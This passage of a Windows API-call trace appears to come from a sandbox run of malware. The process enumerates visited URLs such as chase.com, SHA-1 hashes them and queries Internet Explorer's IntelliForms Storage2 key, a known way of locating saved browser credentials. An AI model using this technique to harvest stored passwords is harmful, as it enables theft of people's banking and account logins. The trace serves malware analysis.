lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D", lpString2="52" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52" [0097.033] LocalFree (hMem=0x2815a80) returned 0x0 [0097.033] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.033] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52") returned 36 [0097.033] lstrlenW (lpString="EC") returned 2 [0097.033] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.033] lstrcpyW (in: lpString1=0x28e7910, lpString2="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52" [0097.033] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52", lpString2="EC" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC" [0097.033] LocalFree (hMem=0x28e7670) returned 0x0 [0097.033] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.033] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC") returned 38 [0097.033] lstrlenW (lpString="34") returned 2 [0097.033] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.033] lstrcpyW (in: lpString1=0x28e7670, lpString2="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC" [0097.033] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC", lpString2="34" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34" [0097.033] LocalFree (hMem=0x28e7910) returned 0x0 [0097.033] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B3") returned 2 [0097.033] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34") returned 40 [0097.033] lstrlenW (lpString="B3") returned 2 [0097.033] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.033] lstrcpyW (in: lpString1=0x28e7910, lpString2="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34" [0097.033] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34", lpString2="B3" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34B3") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D52EC34B3" [0097.033] LocalFree (hMem=0x28e7670) returned 0x0 [0097.033] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.034] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.034] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.034] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.034] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.034] LocalFree (hMem=0x28e7910) returned 0x0 [0097.034] RegEnumValueW (in: hKey=0x368, dwIndex=0x2b, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url7", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.034] StrStrIW (lpFirst="blogspot.jp", lpSrch="?") returned 0x0 [0097.034] StrStrIW (lpFirst="blogspot.jp", lpSrch="http://") returned 0x0 [0097.034] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.034] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.034] lstrlenW (lpString="blogspot.jp") returned 11 [0097.034] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x18, dwFlags=0x0) returned 1 [0097.034] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.034] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CA") returned 2 [0097.034] lstrlenW (lpString="") returned 0 [0097.035] lstrlenW (lpString="CA") returned 2 [0097.035] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.035] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.035] lstrcatW (in: lpString1="", lpString2="CA" | out: lpString1="CA") returned="CA" [0097.035] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.035] lstrlenW (lpString="CA") returned 2 [0097.035] lstrlenW (lpString="42") returned 2 [0097.035] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0097.035] lstrcpyW (in: lpString1=0x28ca380, lpString2="CA" | out: lpString1="CA") returned="CA" [0097.035] lstrcatW (in: lpString1="CA", lpString2="42" | out: lpString1="CA42") returned="CA42" [0097.035] LocalFree (hMem=0x7222e70) returned 0x0 [0097.035] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D5") returned 2 [0097.035] lstrlenW (lpString="CA42") returned 4 [0097.035] lstrlenW (lpString="D5") returned 2 [0097.035] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0097.035] lstrcpyW (in: lpString1=0x28c81c0, lpString2="CA42" | out: lpString1="CA42") returned="CA42" [0097.035] lstrcatW (in: lpString1="CA42", lpString2="D5" | out: lpString1="CA42D5") returned="CA42D5" [0097.035] LocalFree (hMem=0x28ca380) returned 0x0 [0097.035] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="28") returned 2 [0097.035] lstrlenW (lpString="CA42D5") returned 6 [0097.035] lstrlenW (lpString="28") returned 2 [0097.035] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0097.035] lstrcpyW (in: lpString1=0x28ca380, lpString2="CA42D5" | out: lpString1="CA42D5") returned="CA42D5" [0097.035] lstrcatW (in: lpString1="CA42D5", lpString2="28" | out: lpString1="CA42D528") returned="CA42D528" [0097.035] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.035] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B4") returned 2 [0097.035] lstrlenW (lpString="CA42D528") returned 8 [0097.035] lstrlenW (lpString="B4") returned 2 [0097.035] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0097.035] lstrcpyW (in: lpString1=0x28c81c0, lpString2="CA42D528" | out: lpString1="CA42D528") returned="CA42D528" [0097.035] lstrcatW (in: lpString1="CA42D528", lpString2="B4" | out: lpString1="CA42D528B4") returned="CA42D528B4" [0097.035] LocalFree (hMem=0x28ca380) returned 0x0 [0097.035] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4C") returned 2 [0097.035] lstrlenW (lpString="CA42D528B4") returned 10 [0097.035] lstrlenW (lpString="4C") returned 2 [0097.035] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.035] lstrcpyW (in: lpString1=0x71cf460, lpString2="CA42D528B4" | out: lpString1="CA42D528B4") returned="CA42D528B4" [0097.035] lstrcatW (in: lpString1="CA42D528B4", lpString2="4C" | out: lpString1="CA42D528B44C") returned="CA42D528B44C" [0097.036] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.036] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="27") returned 2 [0097.036] lstrlenW (lpString="CA42D528B44C") returned 12 [0097.036] lstrlenW (lpString="27") returned 2 [0097.036] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.036] lstrcpyW (in: lpString1=0x71cfb40, lpString2="CA42D528B44C" | out: lpString1="CA42D528B44C") returned="CA42D528B44C" [0097.036] lstrcatW (in: lpString1="CA42D528B44C", lpString2="27" | out: lpString1="CA42D528B44C27") returned="CA42D528B44C27" [0097.036] LocalFree (hMem=0x71cf460) returned 0x0 [0097.036] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0097.036] lstrlenW (lpString="CA42D528B44C27") returned 14 [0097.036] lstrlenW (lpString="66") returned 2 [0097.036] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.036] lstrcpyW (in: lpString1=0x71cf460, lpString2="CA42D528B44C27" | out: lpString1="CA42D528B44C27") returned="CA42D528B44C27" [0097.036] lstrcatW (in: lpString1="CA42D528B44C27", lpString2="66" | out: lpString1="CA42D528B44C2766") returned="CA42D528B44C2766" [0097.036] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.036] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EC") returned 2 [0097.036] lstrlenW (lpString="CA42D528B44C2766") returned 16 [0097.036] lstrlenW (lpString="EC") returned 2 [0097.036] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.036] lstrcpyW (in: lpString1=0x71cfb40, lpString2="CA42D528B44C2766" | out: lpString1="CA42D528B44C2766") returned="CA42D528B44C2766" [0097.036] lstrcatW (in: lpString1="CA42D528B44C2766", lpString2="EC" | out: lpString1="CA42D528B44C2766EC") returned="CA42D528B44C2766EC" [0097.036] LocalFree (hMem=0x71cf460) returned 0x0 [0097.036] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AB") returned 2 [0097.036] lstrlenW (lpString="CA42D528B44C2766EC") returned 18 [0097.036] lstrlenW (lpString="AB") returned 2 [0097.036] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.036] lstrcpyW (in: lpString1=0x7290b70, lpString2="CA42D528B44C2766EC" | out: lpString1="CA42D528B44C2766EC") returned="CA42D528B44C2766EC" [0097.036] lstrcatW (in: lpString1="CA42D528B44C2766EC", lpString2="AB" | out: lpString1="CA42D528B44C2766ECAB") returned="CA42D528B44C2766ECAB" [0097.036] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.036] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A5") returned 2 [0097.036] lstrlenW (lpString="CA42D528B44C2766ECAB") returned 20 [0097.036] lstrlenW (lpString="A5") returned 2 [0097.036] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.036] lstrcpyW (in: lpString1=0x72912f0, lpString2="CA42D528B44C2766ECAB" | out: lpString1="CA42D528B44C2766ECAB") returned="CA42D528B44C2766ECAB" [0097.036] lstrcatW (in: lpString1="CA42D528B44C2766ECAB", lpString2="A5" | out: lpString1="CA42D528B44C2766ECABA5") returned="CA42D528B44C2766ECABA5" [0097.036] LocalFree (hMem=0x7290b70) returned 0x0 [0097.036] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7B") returned 2 [0097.036] lstrlenW (lpString="CA42D528B44C2766ECABA5") returned 22 [0097.036] lstrlenW (lpString="7B") returned 2 [0097.037] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.037] lstrcpyW (in: lpString1=0x7290b70, lpString2="CA42D528B44C2766ECABA5" | out: lpString1="CA42D528B44C2766ECABA5") returned="CA42D528B44C2766ECABA5" [0097.037] lstrcatW (in: lpString1="CA42D528B44C2766ECABA5", lpString2="7B" | out: lpString1="CA42D528B44C2766ECABA57B") returned="CA42D528B44C2766ECABA57B" [0097.037] LocalFree (hMem=0x72912f0) returned 0x0 [0097.037] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.037] lstrlenW (lpString="CA42D528B44C2766ECABA57B") returned 24 [0097.037] lstrlenW (lpString="90") returned 2 [0097.037] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.037] lstrcpyW (in: lpString1=0x72912f0, lpString2="CA42D528B44C2766ECABA57B" | out: lpString1="CA42D528B44C2766ECABA57B") returned="CA42D528B44C2766ECABA57B" [0097.037] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B", lpString2="90" | out: lpString1="CA42D528B44C2766ECABA57B90") returned="CA42D528B44C2766ECABA57B90" [0097.037] LocalFree (hMem=0x7290b70) returned 0x0 [0097.037] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="51") returned 2 [0097.037] lstrlenW (lpString="CA42D528B44C2766ECABA57B90") returned 26 [0097.037] lstrlenW (lpString="51") returned 2 [0097.037] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.037] lstrcpyW (in: lpString1=0x2815a80, lpString2="CA42D528B44C2766ECABA57B90" | out: lpString1="CA42D528B44C2766ECABA57B90") returned="CA42D528B44C2766ECABA57B90" [0097.037] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B90", lpString2="51" | out: lpString1="CA42D528B44C2766ECABA57B9051") returned="CA42D528B44C2766ECABA57B9051" [0097.037] LocalFree (hMem=0x72912f0) returned 0x0 [0097.037] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C7") returned 2 [0097.037] lstrlenW (lpString="CA42D528B44C2766ECABA57B9051") returned 28 [0097.037] lstrlenW (lpString="C7") returned 2 [0097.037] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.037] lstrcpyW (in: lpString1=0x2815670, lpString2="CA42D528B44C2766ECABA57B9051" | out: lpString1="CA42D528B44C2766ECABA57B9051") returned="CA42D528B44C2766ECABA57B9051" [0097.037] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B9051", lpString2="C7" | out: lpString1="CA42D528B44C2766ECABA57B9051C7") returned="CA42D528B44C2766ECABA57B9051C7" [0097.037] LocalFree (hMem=0x2815a80) returned 0x0 [0097.037] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="54") returned 2 [0097.037] lstrlenW (lpString="CA42D528B44C2766ECABA57B9051C7") returned 30 [0097.037] lstrlenW (lpString="54") returned 2 [0097.037] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.037] lstrcpyW (in: lpString1=0x2815a80, lpString2="CA42D528B44C2766ECABA57B9051C7" | out: lpString1="CA42D528B44C2766ECABA57B9051C7") returned="CA42D528B44C2766ECABA57B9051C7" [0097.037] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B9051C7", lpString2="54" | out: lpString1="CA42D528B44C2766ECABA57B9051C754") returned="CA42D528B44C2766ECABA57B9051C754" [0097.037] LocalFree (hMem=0x2815670) returned 0x0 [0097.037] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9F") returned 2 [0097.037] lstrlenW (lpString="CA42D528B44C2766ECABA57B9051C754") returned 32 [0097.037] lstrlenW (lpString="9F") returned 2 [0097.037] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.037] lstrcpyW (in: lpString1=0x2815670, lpString2="CA42D528B44C2766ECABA57B9051C754" | out: lpString1="CA42D528B44C2766ECABA57B9051C754") returned="CA42D528B44C2766ECABA57B9051C754" [0097.037] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B9051C754", lpString2="9F" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F") returned="CA42D528B44C2766ECABA57B9051C7549F" [0097.037] LocalFree (hMem=0x2815a80) returned 0x0 [0097.038] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="65") returned 2 [0097.038] lstrlenW (lpString="CA42D528B44C2766ECABA57B9051C7549F") returned 34 [0097.038] lstrlenW (lpString="65") returned 2 [0097.038] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.038] lstrcpyW (in: lpString1=0x28e7910, lpString2="CA42D528B44C2766ECABA57B9051C7549F" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F") returned="CA42D528B44C2766ECABA57B9051C7549F" [0097.038] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B9051C7549F", lpString2="65" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F65") returned="CA42D528B44C2766ECABA57B9051C7549F65" [0097.038] LocalFree (hMem=0x2815670) returned 0x0 [0097.038] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0097.038] lstrlenW (lpString="CA42D528B44C2766ECABA57B9051C7549F65") returned 36 [0097.038] lstrlenW (lpString="00") returned 2 [0097.038] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.038] lstrcpyW (in: lpString1=0x28e7670, lpString2="CA42D528B44C2766ECABA57B9051C7549F65" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F65") returned="CA42D528B44C2766ECABA57B9051C7549F65" [0097.038] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B9051C7549F65", lpString2="00" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F6500") returned="CA42D528B44C2766ECABA57B9051C7549F6500" [0097.038] LocalFree (hMem=0x28e7910) returned 0x0 [0097.038] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="14") returned 2 [0097.038] lstrlenW (lpString="CA42D528B44C2766ECABA57B9051C7549F6500") returned 38 [0097.038] lstrlenW (lpString="14") returned 2 [0097.038] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.038] lstrcpyW (in: lpString1=0x28e7910, lpString2="CA42D528B44C2766ECABA57B9051C7549F6500" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F6500") returned="CA42D528B44C2766ECABA57B9051C7549F6500" [0097.038] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B9051C7549F6500", lpString2="14" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F650014") returned="CA42D528B44C2766ECABA57B9051C7549F650014" [0097.038] LocalFree (hMem=0x28e7670) returned 0x0 [0097.038] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="61") returned 2 [0097.038] lstrlenW (lpString="CA42D528B44C2766ECABA57B9051C7549F650014") returned 40 [0097.038] lstrlenW (lpString="61") returned 2 [0097.038] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.038] lstrcpyW (in: lpString1=0x28e7670, lpString2="CA42D528B44C2766ECABA57B9051C7549F650014" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F650014") returned="CA42D528B44C2766ECABA57B9051C7549F650014" [0097.038] lstrcatW (in: lpString1="CA42D528B44C2766ECABA57B9051C7549F650014", lpString2="61" | out: lpString1="CA42D528B44C2766ECABA57B9051C7549F65001461") returned="CA42D528B44C2766ECABA57B9051C7549F65001461" [0097.038] LocalFree (hMem=0x28e7910) returned 0x0 [0097.038] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.038] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.038] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.038] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.038] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.038] LocalFree (hMem=0x28e7670) returned 0x0 [0097.039] RegEnumValueW (in: hKey=0x368, dwIndex=0x2c, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url6", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.039] StrStrIW (lpFirst="chase.com", lpSrch="?") returned 0x0 [0097.039] StrStrIW (lpFirst="chase.com", lpSrch="http://") returned 0x0 [0097.039] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.039] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.039] lstrlenW (lpString="chase.com") returned 9 [0097.039] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x14, dwFlags=0x0) returned 1 [0097.039] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.039] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.039] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.039] RegEnumValueW (in: hKey=0x368, dwIndex=0x2d, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url5", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.039] StrStrIW (lpFirst="upwork.com", lpSrch="?") returned 0x0 [0097.039] StrStrIW (lpFirst="upwork.com", lpSrch="http://") returned 0x0 [0097.039] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.040] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.040] lstrlenW (lpString="upwork.com") returned 10 [0097.040] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x16, dwFlags=0x0) returned 1 [0097.040] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.040] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2C") returned 2 [0097.040] lstrlenW (lpString="") returned 0 [0097.040] lstrlenW (lpString="2C") returned 2 [0097.040] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.040] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.040] lstrcatW (in: lpString1="", lpString2="2C" | out: lpString1="2C") returned="2C" [0097.040] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C2") returned 2 [0097.040] lstrlenW (lpString="2C") returned 2 [0097.040] lstrlenW (lpString="C2") returned 2 [0097.040] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0097.040] lstrcpyW (in: lpString1=0x28c81c0, lpString2="2C" | out: lpString1="2C") returned="2C" [0097.040] lstrcatW (in: lpString1="2C", lpString2="C2" | out: lpString1="2CC2") returned="2CC2" [0097.040] LocalFree (hMem=0x7222e70) returned 0x0 [0097.040] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CF") returned 2 [0097.040] lstrlenW (lpString="2CC2") returned 4 [0097.040] lstrlenW (lpString="CF") returned 2 [0097.040] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0097.040] lstrcpyW (in: lpString1=0x28ca380, lpString2="2CC2" | out: lpString1="2CC2") returned="2CC2" [0097.040] lstrcatW (in: lpString1="2CC2", lpString2="CF" | out: lpString1="2CC2CF") returned="2CC2CF" [0097.040] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.040] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2D") returned 2 [0097.040] lstrlenW (lpString="2CC2CF") returned 6 [0097.040] lstrlenW (lpString="2D") returned 2 [0097.041] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0097.041] lstrcpyW (in: lpString1=0x28c81c0, lpString2="2CC2CF" | out: lpString1="2CC2CF") returned="2CC2CF" [0097.041] lstrcatW (in: lpString1="2CC2CF", lpString2="2D" | out: lpString1="2CC2CF2D") returned="2CC2CF2D" [0097.041] LocalFree (hMem=0x28ca380) returned 0x0 [0097.041] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D6") returned 2 [0097.041] lstrlenW (lpString="2CC2CF2D") returned 8 [0097.041] lstrlenW (lpString="D6") returned 2 [0097.041] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0097.041] lstrcpyW (in: lpString1=0x28ca380, lpString2="2CC2CF2D" | out: lpString1="2CC2CF2D") returned="2CC2CF2D" [0097.041] lstrcatW (in: lpString1="2CC2CF2D", lpString2="D6" | out: lpString1="2CC2CF2DD6") returned="2CC2CF2DD6" [0097.041] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.041] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EE") returned 2 [0097.041] lstrlenW (lpString="2CC2CF2DD6") returned 10 [0097.041] lstrlenW (lpString="EE") returned 2 [0097.041] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.041] lstrcpyW (in: lpString1=0x71cfb40, lpString2="2CC2CF2DD6" | out: lpString1="2CC2CF2DD6") returned="2CC2CF2DD6" [0097.041] lstrcatW (in: lpString1="2CC2CF2DD6", lpString2="EE" | out: lpString1="2CC2CF2DD6EE") returned="2CC2CF2DD6EE" [0097.041] LocalFree (hMem=0x28ca380) returned 0x0 [0097.041] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F5") returned 2 [0097.041] lstrlenW (lpString="2CC2CF2DD6EE") returned 12 [0097.041] lstrlenW (lpString="F5") returned 2 [0097.041] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.041] lstrcpyW (in: lpString1=0x71cf460, lpString2="2CC2CF2DD6EE" | out: lpString1="2CC2CF2DD6EE") returned="2CC2CF2DD6EE" [0097.041] lstrcatW (in: lpString1="2CC2CF2DD6EE", lpString2="F5" 